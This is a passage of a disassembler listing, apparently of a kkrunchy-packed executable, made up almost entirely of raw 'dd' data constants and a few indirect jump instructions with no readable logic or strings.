10000h, 44BC0000h, 1850041h, 96780000h, 10041h dd 1980000h, 19800000h, 18C0000h, 96780000h, 1980041h dd 1980000h, 44BC0000h, 1850041h, 96780000h, 1980041h dd 19800000h, 96780000h, 18C0041h, 1A40000h, 1A30000h dd 44F40000h, 96780041h, 3E80041h, 44E40000h, 1980041h dd 19800000h, 44C40000h, 1A30041h, 70AF0000h, 4000040h dd 45248000h, 2D80041h, 2AC0000h, 46140000h, 46040041h dd 45F40041h, 45E40041h, 45CC0041h, 459C0041h, 45740041h dd 10041h, 45480000h, 46200041h, 2AC0041h, 1A30000h, 0FF0000h dd 27C00000h, 75300009h, 72FC0000h, 11080040h, 46740000h dd 27100041h, 46700000h, 46680041h, 10000041h, 96780000h dd 3F540041h, 46640041h, 3E80041h, 3A80000h, 3A70000h dd 46A00000h, 3A70041h, 46DC0000h, 1A30041h, 46BC0000h dd 77A70041h, 46F00040h, 59E40041h, 4F0C0000h, 2000041h dd 4EE40000h, 1800041h, 4EC80000h, 1800041h, 4EA40000h dd 1800041h, 4E780000h, 4E1C0041h, 4E040041h, 0C80041h dd 190000h, 20002h, 4DE48000h, 180041h, 0E0000h, 3B6C0000h dd 4D940041h, 4D8C0041h, 4D800041h, 4D700041h, 4D500041h dd 4D180041h, 0FFFF0041h, 10000h, 28000h, 0A2E88000h, 4C540041h dd 1040041h, 9FE00000h, 9ECC0041h, 9FE00041h, 4BCC0041h dd 10000041h, 86A00000h, 4BB80001h, 4B900041h, 0A2E80041h dd 4B6C0041h, 0A2E80041h, 9ECC0041h, 4AF00041h, 0EE800041h dd 8E500036h, 91D00041h, 0A0E80041h, 4AD80041h, 91D00041h dd 4AB80041h, 27C00041h, 4A800009h, 4A7C0041h, 4A680041h dd 4A800041h, 4A440041h, 1040041h, 322C0000h, 36280041h dd 49DC0041h, 91D00041h, 3E80041h, 4010000h, 49880000h dd 49640041h, 49880041h, 49400041h, 49880041h, 490C0041h dd 91D00041h, 4010041h, 49880000h, 48E40041h, 48C80041h dd 48B00041h, 48800041h, 48640041h, 3E80041h, 0FFFF0000h dd 2 dup(4000000h), 48400000h, 47E00041h, 3B640041h, 47B40041h dd 0A2680041h, 47A80041h, 0A3E80041h, 51800041h, 0E100001h dd 91D00000h, 41FC0041h, 47340041h, 8FD00041h, 3AE0041h dd 47100000h, 46F80041h, 363C0041h, 52C0041h, 3270000h dd 4F500000h, 4F300041h, 2000041h, 1D40000h, 4FB80000h dd 1800041h, 4FB40000h, 4FA40041h, 3F580041h, 4F9C0041h dd 51800041h, 4F900001h, 3AE0041h, 4F880000h, 4F7C0041h dd 4F700041h, 4F680041h, 3F580041h, 4F9C0041h, 51800041h dd 4F900001h, 3AE0041h, 4F880000h, 4F7C0041h, 4F700041h dd 4F680041h, 4F640041h, 4F600041h, 4F5C0041h, 4F580041h dd 49880041h, 4F540041h, 3270041h, 1800000h, 4FBC0000h dd 8D810041h, 9AB80040h, 9C380041h, 4FD80041h, 9D380041h dd 91D00041h, 8E200041h, 9C380041h, 9D380041h, 9C380041h dd 2380041h, 9AB80000h, 501C0041h, 2 dup(0A2680041h), 2 dup(0A3E80041h) dd 50080041h, 0A1E80041h, 4F0C0041h, 51800041h, 8E440001h dd 50040041h, 4000041h, 2EE0000h, 50000000h, 4FFC0041h dd 1F40041h, 4FF80000h, 940041h, 4FE00000h, 8E500041h dd 8ED00041h, 0A0E80041h, 8F500041h, 4F0C0041h, 0A1E80041h dd 9C380041h, 0EA600041h, 9D380000h, 27100041h, 0CB800000h dd 0EA6000A4h, 10000000h, 50240000h, 10000041h, 32140000h dd 10000041h, 50300000h, 10000041h, 32140000h, 10000041h dd 50240000h, 50600041h, 50500041h, 50300041h, 50440041h dd 10000041h, 50400000h, 32140041h, 10000041h, 10000000h dd 32140000h, 2 dup(50700041h), 10000041h, 1F0000h, 4C8000Fh dd 4C90000h, 3380000h, 517C0000h, 51740041h, 516C0041h dd 51640041h, 515C0041h, 51540041h, 514C0041h, 8E500041h dd 10041h, 3A580000h, 51400041h, 51340041h, 512C0041h dd 51240041h, 8FD00041h, 3AE0041h, 51000000h, 50F00041h dd 50E00041h, 50DC0041h, 51800041h, 8E440001h, 50040041h dd 4000041h, 3E80000h, 50000000h, 4FFC0041h, 1F40041h dd 4FF80000h, 940041h, 4FE00000h, 4F0C0041h, 50D40041h dd 50CC0041h, 0A1E80041h, 50BC0041h, 50B80041h, 50AC0041h dd 0A0E80041h, 8E500041h, 4AD80041h, 50A00041h, 0A2E80041h dd 509C0041h, 50980041h, 50940041h, 1000041h, 0A2E80000h dd 508C0041h, 50880041h, 50840041h, 4F300041h, 2000041h dd 0A1E80000h, 515C0041h, 507C0041h, 10041h, 0A1E80000h dd 10041h, 0A1E80000h, 50780041h, 11840041h, 50980000h dd 515C0041h, 507C0041h, 51840041h, 8E180041h, 10041h dd 800000h, 9D500000h, 9E540041h, 3 dup(9E680041h), 23010041h dd 0AB896745h, 0DCFEEFCDh, 547698BAh, 1032h, 9E7CF000h dd 9E800041h, 9E840041h, 9E880041h, 2110041h, 0FFFF0000h dd 0FF0000h, 9E900000h, 800041h, 2 dup(2000000h), 27100000h dd 52440000h, 52180041h, 52100041h, 51D80041h, 8E500041h dd 10000041h, 0EA600000h, 10000000h, 52540000h, 12040041h dd 32140000h, 2000041h, 10000000h, 53280000h, 1F40041h dd 900000h, 53200000h, 53100041h, 52FC0041h, 52EC0041h dd 52DC0041h, 52D00041h, 52CC0041h, 0EA600041h, 10000000h dd 0EA600000h, 10000000h, 532C0000h, 12040041h, 32140000h dd 2000041h, 10000000h, 53280000h, 537C0041h, 53580041h dd 52CC0041h, 0EA600041h, 18000000h, 53D40000h, 0EA600041h dd 10000000h, 0EA600000h, 2000000h, 58540000h, 2000041h dd 0D70000h, 0B30000h, 3600000h, 54540000h, 57B80041h dd 54200041h, 57CC0041h, 580C0041h, 584C0041h, 58500041h dd 58480041h, 58440041h, 58400041h, 1B680041h, 585C0000h dd 0EA600041h, 10000000h, 58540000h, 2000041h, 1680000h dd 594C0000h, 599C0041h, 59940041h, 59980041h, 59900041h dd 59400041h, 3E60041h, 58A80000h, 58C40041h, 59580041h dd 598C0041h, 59840041h, 59880041h, 59600041h, 59680041h dd 59700041h, 1000041h dd 59780000h, 590C0041h, 0EA600041h, 10000000h, 0A4F00000h dd 58540000h, 2000041h, 5BB80000h, 5C0F0041h, 0EA600041h dd 10000000h, 5C1C0000h, 0A00041h, 5C880000h, 52CC0041h dd 5FBC0041h, 0DAD0041h, 1C520000h, 5E400000h, 1B5A0041h dd 5EAC0000h, 0A5E0041h, 840000h, 5F200000h, 10FC0041h dd 6400000h, 0FDC0000h, 0E290000h, 7D00000h, 5FB00000h dd 5FA80041h, 5D2C0041h, 900041h, 5DAC0000h, 0CF80041h dd 10040000h, 0EA600000h, 10000h, 890000h, 59A00000h, 10000041h dd 0A80000h, 5A2C0000h, 0DE0041h, 5AD80000h, 10040041h dd 0A000000h, 91D00000h, 2000041h, 5FCC0000h, 2100041h dd 5FF40000h, 600C0041h, 5FC40041h, 5FC80041h, 60040041h dd 2AC0041h, 5FFC0000h, 0CD80041h, 58540000h, 2000041h dd 890000h, 60140000h, 27100041h, 6000000h, 0A80000h, 60A00000h dd 0DE0041h, 614C0000h, 622C0041h, 626C0041h, 0A00041h dd 62D00000h, 860041h, 63740000h, 2C40041h, 64D40000h dd 64CC0041h, 63FC0041h, 36A0041h, 4000000h, 860000h, 64200000h dd 3E80041h, 900000h, 100000h, 64CC0000h, 64A80041h, 4CE0041h dd 22080000h, 2000000h, 890000h, 64DC0000h, 0EA600041h dd 10000000h, 0A80000h, 65680000h, 0DE0041h, 66140000h dd 66F40041h, 67280041h, 67340041h, 0A00041h, 67A00000h dd 8940041h, 1300000h, 68440000h, 69780041h, 6AAC0041h dd 8940041h, 0CEBC0000h, 2000000h, 32B0000h, 0DAC0000h dd 1B580000h, 0DAB0000h, 6AC00000h, 6AD80041h, 20000041h dd 6B800000h, 6B7C0041h, 6B740041h, 6B6C0041h, 91D00041h dd 6B740041h, 6B600041h, 41h, 6B4C4000h, 6B380041h, 20041h dd 6AC80000h, 6AD00041h, 10B80041h, 100000h, 20100000h dd 27100000h, 6C180000h, 870041h, 6B880000h, 20000041h dd 6BD40000h, 6BF00041h, 12C0041h, 6C040000h, 2000041h dd 0EA600000h, 33780000h, 9ECC0041h, 2000041h, 5300000h dd 2000000h, 77D00000h, 0EA600041h, 77CC0000h, 91D00041h dd 10041h, 77B80000h, 10041h, 77A40000h, 77900041h, 777C0041h dd 77680041h, 77480041h, 77280041h, 3A580041h, 1000041h dd 3A940000h, 77200041h, 33780041h, 9ECC0041h, 77080041h dd 76F40041h, 27100041h, 33780000h, 2 dup(9ECC0041h), 76800041h dd 76780041h, 0EA600041h, 76F40000h, 76780041h, 9EA80041h dd 76680041h, 76400041h, 8E500041h, 3E80041h, 762C0000h dd 76240041h, 2000041h, 2000000h, 77F80000h, 77EC0041h dd 77E80041h, 77DC0041h, 77D80041h, 1B00041h, 1A70000h dd 78240000h, 0FFFF0041h, 77FC0000h, 3E80041h, 0D6E00000h dd 1A70040h, 78300000h, 0DE400041h, 0D7C0040h, 1A70000h dd 0FFFF0000h, 10000h, 33780000h, 9ECC0041h, 78A80041h dd 800041h, 800000h, 100000h, 800000h, 78A00000h, 788C0041h dd 2000041h, 2000000h, 9EB00000h, 9EB40041h, 78800041h dd 78500041h, 8E500041h, 78440041h, 1A70041h, 78D00000h dd 0DE9A0041h, 0B20040h, 7A840000h, 0C60041h, 79BC0000h dd 0C00041h, 0B20000h, 79080000h, 0AC0041h, 1E40000h, 78E80000h dd 18C0041h, 36200000h, 17C0041h, 7B380000h, 2400041h dd 8E200000h, 33780041h, 9FE00041h, 2000041h, 0EA600000h dd 7DC60000h, 1000041h, 440C0000h, 51D80041h, 8E500041h dd 2440041h, 2030000h, 3E80000h, 2000000h, 7D2C0000h, 8480041h dd 3C0000h, 7D300000h, 3E80041h, 9EC40000h, 7D340041h dd 3E80041h, 1B00000h, 1AD0000h, 7D380000h, 9EC40041h dd 3E80041h, 0E8E10000h, 1AD0040h, 0FFFF0000h, 4010000h dd 7D700000h, 0E9510041h, 7DC60040h, 0FF0041h, 7DBE0000h dd 8080041h, 81880000h, 0EA600041h, 8000000h, 81800000h dd 3F540041h, 81700041h, 815C0041h, 81540041h, 81480041h dd 81400041h, 81380041h, 14C0041h, 14C0000h, 0FFFF0000h dd 4010000h, 0A2E80000h, 7400041h, 2C90000h, 14C0000h dd 7D980000h, 96780041h, 82300041h, 81F80041h, 3E80041h dd 3E80000h, 0A2E80000h, 3E80041h, 14C0000h, 0ECD60000h dd 81E40040h, 81A00041h, 51800041h, 7D980001h, 7D00041h dd 0EA600000h, 1000000h, 2000000h, 2C90000h, 1080000h dd 1A30000h, 825C0000h, 0EE230041h, 4880040h, 3270000h dd 83080000h, 3F540041h, 7D980041h, 20041h, 13880000h dd 2 dup(14C0000h), 0ECD60000h, 82D80040h, 3F540041h, 82940041h dd 3270041h, 1800000h, 1A30000h, 83380000h, 0F4610041h dd 3BC0040h, 1A70000h, 836C0000h, 7D980041h, 835C0041h dd 1A70041h, 83840000h, 0F7270041h, 2B40040h, 2B10000h dd 84080000h, 83D00041h, 83A00041h, 35500041h, 0FFFF0041h dd 0EA600000h, 0EE800000h, 2B10036h, 1000000h, 84380000h dd 0F8350041h, 2C80040h, 2B30000h, 84A80000h, 3E80041h dd 84940000h, 84580041h, 0FFFF0041h, 2B30000h, 7D00000h dd 0EA600000h, 1000000h, 2 dup(2000000h), 1A30000h, 84F00000h dd 0F9C90041h, 3B5C0040h, 2 dup(852C0041h), 190041h, 85A40002h dd 20041h, 1048000h, 85940000h, 85880041h, 85780041h, 85640041h dd 33780041h, 854C0041h, 5C40041h, 1A70000h, 86C00000h dd 33780041h, 41h, 86B80010h, 86B00041h, 86A80041h, 86A00041h dd 86980041h, 868C0041h, 867C0041h, 866C0041h, 865C0041h dd 864C0041h, 3E80041h, 86200000h, 3E80041h, 85E40000h dd 1A70041h, 86E80000h, 0FEB80041h, 19800040h, 0F980041h dd 1A70000h, 40030000h, 89508000h, 891C0041h, 40030041h dd 89188000h, 40030041h, 89508000h, 40030041h, 40038000h dd 89508000h, 40030041h, 89148000h, 40030041h, 89508000h dd 3B6C0041h, 91D00041h, 89080041h, 88C80041h, 88BC0041h dd 91D00041h, 35280041h, 3E80041h, 88640000h, 88580041h dd 88540041h, 3E80041h, 88140000h, 88080041h, 87FC0041h dd 87F40041h, 87EC0041h, 87E40041h, 3E80041h, 879C0000h dd 91D00041h, 88540041h, 3E80041h, 87400000h, 2000041h dd 3E80000h, 87040000h, 1A70041h, 89600000h, 1E60041h dd 5BC0041h, 1A70000h, 4000000h, 8A8C0000h, 8A780041h dd 8A6C0041h, 0FFFF0041h, 190000h, 8A2C0002h, 20041h, 18000h dd 8A140000h, 10041h, 18000h, 42440000h, 42480041h, 89840041h dd 1A70041h, 8A940000h, 9990041h, 8AB40041h, 8B100041h dd 8B840041h, 8BC80041h, 199C0041h, 3AB0000h, 0FF0000h dd 10000h, 19800h, 8D940000h, 10280041h, 2 dup(1000000h) dd 8D600000h, 1800041h, 3B6C0000h, 3E80041h, 17F0000h dd 1800000h, 3B6C0000h, 3E80041h, 17F0000h, 3AB0000h, 91D00000h dd 2000041h, 1A30000h, 8DC80000h, 0C550041h, 2 dup(33780041h) dd 22A80041h, 175A0041h, 12DC0041h, 3AE0000h, 91540000h dd 3E80041h, 8E000000h, 1040041h dd 91D00000h, 2 dup(9ECC0041h), 9FE00041h, 2020041h, 10000h dd 0EA600000h, 91480000h, 10000041h, 91400000h, 74380041h dd 91380041h, 74380041h, 90F80041h, 8E500041h, 10000041h dd 3 dup(10000000h), 91700000h, 23C80041h, 3 dup(22C40041h) dd 23600041h db 41h, 0 word_3FD4B2 dw 0FEA4h ; DATA XREF: kkrunchy:003EA438o ; --------------------------------------------------------------------------- jmp dword ptr [eax-15B0003h] ; --------------------------------------------------------------------------- jmp dword ptr [eax-15B0003h] ; --------------------------------------------------------------------------- jmp dword ptr [eax-1030003h] ; --------------------------------------------------------------------------- dw 0FCFFh dd 0FEFCFFFEh, 0FFFEFCFFh, 0FCFFFEFCh, 0FD34FFFEh, 0FFFD38FFh dd 34FFFD3Dh, 0FE3DFFFDh, 0FFFC30FFh, 38FFFC30h, 0FD3DFFFDh dd 0FFFD3DFFh, 39FFFD3Eh, 0FD38FFFDh, 0FFFD3DFFh, 34FFFE3Dh dd 0FD38FFFDh, 0FFFD3DFFh, 3DFFFE3Dh, 0FD34FFFEh, 109FFh dd 8D000189h, 1890001h, 18D00h, 0FFFE00h, 0FE00FFFEh, 0FFFBE0FFh dd 0DCFFF8DCh, 0FBE0FFF8h, 0FFF9E0FFh, 0E0FFF9E0h, 0F9E0FFF9h dd 0FFF9E0FFh, 0E4FFF9E0h, 0FBE0FFFDh, 0FFFDE4FFh, 0E0FFFDE4h dd 198FFFBh, 20400h, 3DFFFC18h, 0FC3DFFFCh, 0FFFC18FFh dd 41FFFE41h, 0FC18FFFDh, 0FFFC1CFFh, 18FFFC3Dh, 0FE4BFFFCh dd 0FFFA18FFh, 18FFFA18h, 0FA18FFFCh, 0FFFC1CFFh, 4BFFFC3Dh dd 0FC18FFFEh, 0FFFD08FFh, 2DFFFD2Dh, 0FD2DFFFDh, 0FFFD2EFFh dd 0FFFC04h, 0FD08FFF6h, 0FFFD2DFFh, 0FFFD08h, 0FC04FFF6h dd 0FFFD0CFFh, 4FFF600h, 0FD0CFFFCh, 0FFFD0CFFh, 8FFFC04h dd 0FE31FFFDh, 0FFFA04FFh, 8FFFA04h, 0FA04FFFDh, 0FFFD0CFFh dd 31FFFC04h, 0FD0CFFFEh, 0FFFC04FFh, 8FFFE31h, 0FD08FFFDh dd 129FFh, 33000229h, 22F0002h, 12900h, 0F8FFFBF8h, 0FBF8FFFBh dd 0FFFBF8FFh, 0F8FFFBF8h, 0FBF8FFFBh, 0FFFBF8FFh, 0F8FFFBF8h dd 0FC34FFFBh, 0FFFC38FFh, 35FFF82Ch, 0FB34FFFBh, 0FFFBB4FFh dd 3CFFFBB5h, 0F82CFFFDh, 0FFFC34FFh, 38FFFE40h, 0FD3CFFFCh dd 0FFFC3FFFh, 34FFFD3Ch, 0FC3FFFFCh, 0FFFC34FFh, 38FFFC38h dd 0FC39FFFCh, 0FFFC39FFh, 38FFFC38h, 0FC38FFFCh, 0FFFC38FFh dd 38FFFC3Fh, 0FC38FFFCh, 0FFFC3EFFh, 34FFFC38h, 0FBB4FFFBh dd 0FFFC38FFh, 38FFFC3Fh, 0FC38FFFCh, 0FFFC38FFh, 38FFFC38h dd 0FBB4FFFCh, 0FFFC38FFh, 39FFFB34h, 0FC38FFFCh, 0FFFC38FFh dd 30FFFC34h, 0FC38FFFAh, 0FFF930FFh, 3CFFFC34h, 0FA30FFFDh dd 0FFF930FFh, 34FFFBB4h, 0FC34FFFBh, 0FFFD3CFFh, 30FFFA30h dd 0FBB4FFF9h, 0FFFB34FFh, 3CFFFC34h, 0FA30FFFDh, 0FFF930FFh dd 34FFFD3Ch, 0FE40FFFCh, 0FFFD3CFFh, 3CFFFD3Ch, 0FC34FFFDh dd 0FFF82CFFh, 40FFFC34h, 0FC34FFFEh, 0FFFC34FFh, 34FFFE40h dd 108FFFCh, 20C00h, 0C0000108h, 0B80000h, 0C400h, 9C0000B4h dd 0A00000h, 0A800h, 0A40000ACh, 0B00000h, 0B800h, 0FCFFFEFCh dd 0FBDCFFFEh, 0FFFBDCFFh, 0DCFFFBDCh, 0FDE4FFFBh, 0FFFDE8FFh dd 0E8FFFDE4h, 0FDE4FFFDh, 0FFFDEEFFh, 0E4FFFDE4h, 0EDE4FFEDh dd 0FFEDE4FFh, 0E4FFEDE4h, 0EDE4FFEDh, 0FFEDE4FFh, 8BFFFDE4h dd 0FEFC0001h, 0FFFEFCFFh, 7CFFFF7Ch, 0FF7CFFFFh, 0FFFF7CFFh dd 7EFFFF7Ch, 0FF7CFFFFh, 0FFFF7EFFh, 0FCFFFBFCh, 804FFFBh dd 80400h, 8000808h, 8040008h, 80400h, 4FFFF70h, 8080008h dd 80800h, 8000808h, 0FF700008h, 804FFh, 1000080Ch, 8100008h dd 80C00h, 0D800080Ch, 0F7D4FFF7h, 0FFF7D4FFh, 0D8FFF7D4h dd 0F7D8FFF7h, 0FFF7D4FFh, 0F8FFF7D4h, 0F7F4FFF7h, 0FFEFF4FFh dd 0F0FFEFF0h, 0F7F4FFEFh, 0FFF7F4FFh, 0CFFFFD28h, 0FECFFFFEh dd 0FFFD28FFh, 0C8FFECC8h, 0ECD1FFECh, 0FFECC8FFh, 0DEFFECD8h dd 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh dd 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh dd 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h dd 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh dd 0CCFFECCAh, 0ECD0FFECh, 0FFECD4FFh, 0D2FFECC8h, 0ECDEFFECh dd 0FFECDCFFh, 0C8FFECE0h, 0FD28FFECh, 0FFFD28FFh, 0A7FFFD28h dd 2A70001h, 2AD00h, 0B10002B1h, 2B50002h, 2B100h, 980002B1h dd 0FEDD0001h, 0FFFEDCFFh, 0DCFFFEDCh, 0FEDCFFFEh, 0FFFEDCFFh dd 10FFFEDBh, 0FE580001h, 0FFFE58FFh, 5CFFFE5Ch, 0FE58FFFEh dd 0FFFE58FFh, 0ECFFFBECh, 0FDECFFFDh, 0FFFDECFFh, 0FCFFFBECh dd 0FEFCFFFEh, 0FFFDF8FFh, 0F8FFFDF8h, 0FEFCFFFDh, 0FFFEFCFFh dd 0FCFFFEFCh, 0FEFCFFFEh, 0FFFEFCFFh, 0F8FFFDF8h, 0FDF8FFFDh dd 0FFFEFCFFh, 0E4FFFEFCh, 0FEE4FFFEh, 0FFFEE4FFh, 0F8FFFEF8h dd 0FEF8FFFEh, 0FFFEF8FFh, 0FCFFFEF8h, 0FEFCFFFEh, 0FFFEFCFFh dd 98FFFC94h, 0FD98FFFDh, 0FFFD98FFh, 98FFFC94h, 0FE9CFFFDh dd 0FFFE9CFFh, 90413B90h, 0FE9C413Bh, 0FFFE9CFFh, 94FFFE9Ch dd 3B90FFFCh, 413B9441h, 94413B90h, 3B90413Bh, 413B9441h dd 9CFFFE9Ch, 0FE9CFFFEh, 0FFFC94FFh, 0F4FFFE9Ch, 0FEF8FFFDh dd 0FFFEF8FFh, 0F4FFFEF8h, 0FEF8FFFDh, 0FFFDF4FFh, 94413B90h dd 3B90413Bh, 413B9441h, 94413B90h, 0FDF4413Bh, 0FFFA2CFFh dd 0ECFFFA2Ch, 0FBECFFFBh, 0FFFBEDFFh, 36FFFA36h, 0FBF4FFFAh dd 0FFFBD9FFh, 0ECFFF92Ch, 0F92CFFFBh, 0FFFA46FFh, 0ECFFFBECh dd 0FBEDFFFBh, 0FFFBEEFFh, 0ECFFFBF0h, 0FBECFFFBh, 0FFFBEDFFh dd 0EDFFFBECh, 0E92CFFFBh, 0FFE92CFFh, 2CFFE92Ch, 0FE40FFE9h dd 0FFFE44FFh, 44FFFE40h, 0FE40FFFEh, 0FFFE5AFFh, 44FFFE40h dd 0FE4AFFFEh, 0FFFE5AFFh, 8BFFFE40h, 0FCD40001h, 100000FFh dd 0FCFFFF00h, 0FEFCFFFEh, 0FFFF00FFh, 0CFFFF04h, 0FF0CFFFFh dd 0FFFF04FFh, 0FFFF04h, 0FF04FFFFh, 0FFFF04FFh, 0CFFFF04h dd 0FF10FFFFh, 0FFFF10FFh, 0FBFFFE88h, 0FE7CFFFEh, 0FFFE80FFh dd 7CFFFE84h, 0FE7CFFFEh, 0FFFE7CFFh, 8FFF8D4h, 0FF04FFFFh dd 0FFFF00FFh, 0D8FFF8D4h, 0FCD4FFFCh, 0FFFEECFFh, 0EC413FCCh dd 3FD0FFFEh, 0FFFDEC41h, 0ECFFFDECh, 0FEECFFFEh, 0FFFDECFFh dd 0ECFFFBECh, 0FBECFFFBh, 0FFFBECFFh, 0ACFFFDB0h, 0F9ACFFF9h dd 0FFFF58FFh, 58FFFF58h, 0F9ACFFFFh, 0FFF5ACFFh, 0B4FFF5ACh dd 0FDB0FFFDh, 0FFFA38FFh, 0F5FFFBE0h, 0FBE0FFFBh, 0FFFBE0FFh dd 0E0FFFBE0h, 0FBE0FFFBh, 0FFFBE0FFh, 0E0FFFBE0h, 0FBE0FFFBh dd 0FFFA3CFFh, 64FFFA38h, 0FE65FFFEh, 0FFFE60FFh, 64FFFE64h dd 0FE78FFFEh, 0FFFE78FFh, 5C000198h, 0FE5CFFFEh, 0FFFE5CFFh dd 28FFFE5Ch, 0FECBFFFDh, 0FFFECBFFh, 28FFFD28h, 0FD28FFFDh dd 1A3FFh, 0A40002A3h, 2A80002h, 10400h, 0F8000204h, 0FEF8FFFEh dd 0FFFEF8FFh, 0F8FFEEF8h, 0EEF8FFEEh, 0FFEEF8FFh, 58000204h dd 0FC58FFFCh, 0FFFD5CFFh, 58FFFE5Ch, 104FFFCh, 10400h dd 0F8000204h, 0FE19FFFDh, 0FFFF19FFh, 0F8FFFF1Dh, 0FDD4FFFDh dd 0FFFA20FFh, 0F8FFFA20h, 0FC20FFFDh, 0FFFC20FFh, 20FFFC1Dh dd 0FC20FFFCh, 0FFFC20FFh, 0A0FFFC20h, 0FC20FFFAh, 0FFFAA0FFh dd 20FFFC20h, 0FC20FFFCh, 0FFFC20FFh, 0F8FFFC20h, 0FDF8FFFDh dd 0FFFDA0FFh, 0A0FFFDA0h, 0FDA0FFFDh, 0FFFCD8FFh, 0D8FFFDD8h dd 0FD0CFFFDh, 0FFFDD8FFh, 0F8FFFDD8h, 0FDF8FFFDh, 0FFFDF8FFh dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh dd 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h dd 0E61CFFFDh, 0FFA61CFFh, 0F8FFE61Ch, 0FDF8FFFDh, 0FFFDF8FFh dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 9CFFFDF8h, 0FC9CFFFCh dd 0FFFDF8FFh, 1CFFFDF8h, 0F61CFFF6h, 0FFFDF8FFh, 1CFFF61Ch dd 0FDF8FFF6h, 0FFF61CFFh, 0F8FFF61Ch, 0FDF8FFFDh, 0FFFDF8FFh dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh dd 0FFFCD4FFh, 79FFFCD8h, 0FAD4FFFEh, 0FFFAD4FFh, 2CFFFCD4h dd 0FE2CFFFEh, 0FFFE2CFFh, 20000184h, 8E24418Eh, 418E2841h dd 0E0FFFDC8h, 0FF60FFFEh, 0FFFEE0FFh, 0C8FFFEE0h, 0FDC8FFFDh dd 0FFFDC8FFh, 0E0FFFEE0h, 0FEE0FFFEh, 0FFFF60FFh dd 60FFFF60h, 0FE50FFFFh, 0FFFE4CFFh, 50FFFE4Ch, 0FE54FFFEh dd 0FFFF60FFh, 60FFFF60h, 0F000FFFFh, 0FFF000FFh, 0FFF000h dd 0F000FFF0h, 0FFF000FFh, 0FFF000h, 0F000FFF0h, 0FFF000FFh dd 21000198h, 0F0000001h, 19FFFh, 121h, 0F000FFF0h, 121FFh dd 0FFF000h, 0F000FFF0h, 0FFF000FFh, 0FFF000h, 0F000FFF0h dd 0FFF000FFh, 0C1FFFDA0h, 0FEC5FFFDh, 0FFFEC1FFh, 0A0FFFF3Fh dd 0FF44FFFDh, 0FFFF44FFh, 0B4FFFF44h, 0FEB0FFFEh, 0FFFEB0FFh dd 0B8FFFEB4h, 0FF44FFFEh, 0FFFF44FFh, 44FFFE44h, 0FE44FFFEh dd 0FFFE44FFh, 44FFFE44h, 0FD44FFFDh, 0FFFCC8FFh, 0C8FFFCC8h dd 0FF7CFFFCh, 0FFEE7CFFh, 7C418E18h, 0FEFBFFFEh, 0FFFEFBFFh dd 7BFFFF7Ch, 0FE7CFFFFh, 0FFFEFBFFh, 94FFFEFCh, 9D504151h dd 419D5041h, 50419D50h, 9D50419Dh, 419D5041h, 94419D50h dd 51944151h, 41519441h, 94415194h, 51944151h, 419D5041h dd 78419E54h, 0B7566AA4h, 2070DBC7h, 0AFBDCEEEh, 0C62A7C0Fh dd 30461387h, 0D8469501h, 0F7AF8098h, 0FF5BB144h, 225CD7BEh dd 71939011h, 79438E98h, 62B40821h, 0B3401E25h, 5E5A5140h dd 5DB6C7AAh, 14532F10h, 0A1E68144h, 0E6D3FBC8h, 7D6E1CDh dd 0D50D8737h, 55A14EDh, 0A3F8E3E9h, 6F02D9EFh, 422A4C8Ah dd 0F681FA39h, 9D612271h, 44E5380Ch, 0CFA9BEEAh, 0BB4B50DEh dd 0C6BFBC70h, 27FA9B7Eh, 0EF3085A1h, 39881D05h, 99E5D4D0h dd 0A27CF8DBh, 44AC5665h, 0FF972922h, 9423A72Ah, 0C393A039h dd 0CC925B59h, 0EFF47D0Ch, 4F845DD1h, 0E6E0A87Eh, 143142Ch dd 820811A1h, 0F235537Eh, 0D7D2BB3Ah, 9086D391h, 9E90419Eh dd 0FFFE0041h, 0FFFE00h, 0FE00FFFEh, 0FFF000FFh, 25FFF000h dd 0F008FFF0h, 0FFF00CFFh, 0CFFF00Ch, 0F008FFF0h, 146FFh dd 0FC0000C6h, 0C2FFEDh, 0FFEFFC00h, 0C9FFEFFCh, 0EDFCFFF0h dd 0FFF204FFh, 0D4FFF40Eh, 0F6D8FFF5h, 0FFFAE8FFh, 0F8FFFBECh dd 0F1FEFFFEh, 415280FFh, 0B041529Ch, 52BC4152h, 0FFF20041h dd 0FCFFEFFCh, 0F000FFEFh, 0FFF000FFh, 8FFF025h, 0F00CFFF0h dd 0FFF00CFFh, 8FFF00Ch, 146FFF0h, 0C600h, 0C2FFFDFCh dd 0EDFC0000h, 0FFEDFCFFh, 0FCFFEEC9h, 0EED1FFFDh, 0FFF004FFh dd 88FFEFFEh, 53A44153h, 4153B841h, 4153C4h, 0EDFCFFF0h dd 0FFEDFCFFh, 0FFF800h, 0F800FFE8h, 0FFE800FFh, 0C6000146h dd 0C20000h, 0FFFE0000h, 70000360h, 3A00003h, 3A000h, 94FFFE00h dd 3940003h, 8000h, 0B4000084h, 0B80000h, 0D000h, 6000018Ch dd 3680003h, 0FFE49800h, 0C6000146h, 0F4980000h, 0C2FFh dd 98FFFE98h, 0F6B0FFF6h, 0FFF6F4FFh, 18FFF714h, 0F71CFFF7h dd 0FFF720FFh, 7CFFF724h, 0F782FFF7h, 0FFF78AFFh, 92FFF78Eh dd 0F798FFF7h, 0FFF498FFh, 98FFF698h, 0F698FFFEh, 0FFF698FFh dd 0A0FFF698h, 0F6A8FFF6h, 0FFF698FFh, 46FFE498h, 0C60001h dd 0FFFD8000h, 800000C2h, 0C81CFFFDh, 0FFC84CFFh, 1FFFC84Bh dd 0C849FFC8h, 0FFC81CFFh, 0E8FF7BE8h, 7BE8FF7Bh, 0FFEFE2FFh dd 0E4415FB0h, 0FD80FFEFh, 0FFEFF4FFh, 1CFFF318h, 0FD80FFF3h dd 0FFF328FFh, 0FFF5ACh, 0ACC0FFE8h, 0FF5B10FFh, 10FF8BE8h dd 0ACC0FF5Bh, 0FF5B78FFh, 54FF8BE8h, 8C58FFBDh, 0FF971CFFh dd 0E8FF5B10h, 